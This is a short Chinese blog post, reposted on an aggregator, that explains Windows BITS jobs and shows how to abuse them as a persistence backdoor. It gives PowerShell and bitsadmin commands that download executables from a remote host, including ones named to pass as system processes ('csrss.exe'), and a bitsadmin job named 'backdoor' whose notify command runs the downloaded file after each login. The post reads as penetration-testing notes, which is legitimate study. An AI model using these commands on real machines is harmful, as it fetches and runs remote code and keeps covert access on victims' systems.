码迷,mamicode.com
首页 > 其他好文 > 详细

BITS Jobs后门

时间:2020-03-30 00:11:20      阅读:35      评论:0      收藏:0      [点我收藏+]

标签:优先级   service   tray   登录   其他应用   add   tps   err   simple   

一、Bits Job

windows后台智能传输服务 Background Intelligent Transfer Service (BITS),用于HTTP或SMB文件传输;它可以给任务设置优先级和异步下载,智能调节带宽,从而不占用其他应用的网络资源。

Powershell和bitsadmin.exe都可用于创建和管理Bits Job,但Powershell似乎只支持文件传输,windows原生程序bitsadmin.exe还支持传输完成后执行代码。

 

二、Execution

# powershell 传输文件
Start-BitsTransfer -Source http://192.168.240.135/csrss.exe -Destination C:\Users\win10\Desktop\csrss.exe  

# bitsadmin tool传输文件
bitsadmin /transfer test /download /priority high http://192.168.240.135/acrotray.exe C:\Users\win10\Desktop\acrotray.exe 

 

可用下面的方法建一个bitsjob, bitsjob在用户交互式登录后就会自动执行,除非cancel或complete它,或者90天后系统自动cancel。这样就达到了驻留的目的

# 下载后执行文件(python搭的simple httpserver会10054 error,这一步本地没实验)
bitsadmin /create backdoor
bitsadmin /addfile backdoor "http://10.0.2.21/pentestlab.exe"  "C:\tmp\pentestlab.exe"
bitsadmin /SetNotifyCmdLine backdoor C:\tmp\pentestlab.exe NUL
bitsadmin /resume backdoor

# 完成或取消 bitsjob
bitsadmin /complete backdoor
bitsadmin /cancel backdoor

 

参考:

https://pentestlab.blog/2019/10/30/persistence-bits-jobs/

BITS Jobs后门

标签:优先级   service   tray   登录   其他应用   add   tps   err   simple   

原文地址:https://www.cnblogs.com/ring-lcy/p/12596003.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有 京ICP备13008772号-2
迷上了代码!